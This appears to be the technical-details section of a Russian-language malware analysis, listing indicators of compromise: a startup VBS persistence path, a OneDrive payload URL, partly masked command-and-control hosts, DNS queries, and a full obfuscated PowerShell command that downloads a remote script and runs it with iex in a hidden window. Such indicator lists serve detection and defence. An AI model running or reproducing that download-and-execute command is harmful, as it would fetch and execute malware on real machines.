Техническая информация
- %APPDATA%\microsoft\windows\start menu\programs\startup\update.vbs
- https://onedrive.live.com/download?cid=a0fb3cde2e262340&resid=a0fb3cde2e262340%211011&authkey=al4tzmvk-qyzahy
- 'ra#####ia.gleeze.com':1177
- 'on####ve.live.com':443
- 'b4####.#m.files.1drv.com':443
- DNS ASK on####ve.live.com
- DNS ASK b4####.#m.files.1drv.com
- DNS ASK ra#####ia.gleeze.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit [Byte[]]$sc64= iex(iex('(&(GCM *W-O*)Net.WebClient).DownloadString(''https://onedrive.live.com/download?cid=A0FB3CDE2E262340&resid=A0FB3CDE2E262340%211011&authkey=AL4TZMVk-QYZAhY'')'));...' (со скрытым окном)